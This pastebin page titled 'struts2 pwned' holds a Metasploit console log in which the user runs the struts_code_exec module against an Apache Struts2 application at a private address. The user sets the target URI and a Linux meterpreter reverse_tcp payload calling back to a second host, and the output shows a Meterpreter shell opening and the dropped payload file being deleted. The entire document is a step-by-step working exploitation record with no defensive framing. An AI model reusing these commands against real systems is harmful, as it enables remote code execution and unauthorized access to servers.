Don't like ads? PRO users don't see any ads ;-)
Guest

struts2 pwned

By: a guest on Aug 19th, 2011  |  syntax: Ruby  |  size: 2.63 KB  |  hits: 912  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. kelvin:msf3 bannedit$ ruby msfconsole
  2.  
  3.                  _---------.
  4.              .' #######   ;."
  5.  .---,.    ;@             @@`;   .---,..
  6. ." @@@@@'.,'@@            @@@@@',.'@@@@ ".
  7. '-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
  8.    `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
  9.     "--'.@@@  -.@        @ ,'-   .'--"
  10.          ".@' ; @       @ `.  ;'
  11.            |@@@@ @@@     @    .
  12.             ' @@@ @@   @@    ,
  13.               `.@@@@    @@   .
  14.                ',@@     @   ;           _____________
  15.                 (   3 C    )     /|___ / Metasploit! \
  16.                 ;@'. __*__,."    \|--- \_____________/
  17.                  '(.,...."/
  18.  
  19.  
  20.       =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
  21. + -- --=[ 723 exploits - 370 auxiliary - 75 post
  22. + -- --=[ 226 payloads - 27 encoders - 8 nops
  23.       =[ svn r13570 updated 4 days ago (2011.08.15)
  24.  
  25. msf > use exploit/multi/http/struts_code_exec
  26. msf  exploit(struts_code_exec) > set RHOST 192.168.0.117
  27. RHOST => 192.168.0.117
  28. msf  exploit(struts_code_exec) > show options
  29.  
  30. Module options (exploit/multi/http/struts_code_exec):
  31.  
  32.   Name     Current Setting  Required  Description
  33.   ----     ---------------  --------  -----------
  34.   CMD                       no        Execute this command instead of using command stager
  35.   Proxies                   no        Use a proxy chain
  36.   RHOST    192.168.0.117    yes       The target address
  37.   RPORT    8080             yes       The target port
  38.   URI                       yes       The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action
  39.   VHOST                     no        HTTP server virtual host
  40.  
  41.  
  42. Exploit target:
  43.  
  44.   Id  Name
  45.   --  ----
  46.   0   Windows Universal
  47.  
  48.  
  49. msf  exploit(struts_code_exec) > show targets
  50.  
  51. Exploit targets:
  52.  
  53.   Id  Name
  54.   --  ----
  55.   0   Windows Universal
  56.   1   Linux Universal
  57.  
  58.  
  59. msf  exploit(struts_code_exec) > set TARGET 1
  60. TARGET => 1
  61. msf  exploit(struts_code_exec) > set URI /struts2-blank-2.0.9/example/HelloWorld.action
  62. URI => /struts2-blank-2.0.9/example/HelloWorld.action
  63. msf  exploit(struts_code_exec) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
  64. PAYLOAD => linux/x86/meterpreter/reverse_tcp
  65. msf  exploit(struts_code_exec) > set LHOST 192.168.0.106
  66. LHOST => 192.168.0.106
  67. msf  exploit(struts_code_exec) > exploit
  68.  
  69. [*] Started reverse handler on 192.168.0.106:4444
  70. [*] Transmitting intermediate stager for over-sized stage...(100 bytes)
  71. [*] Sending stage (1249280 bytes) to 192.168.0.117
  72. [*] Meterpreter session 1 opened (192.168.0.106:4444 -> 192.168.0.117:46486) at Fri Aug 19 02:01:38 -0400 2011
  73. [*] deleting /tmp/UFzx3yr payload file
  74.  
  75. meterpreter >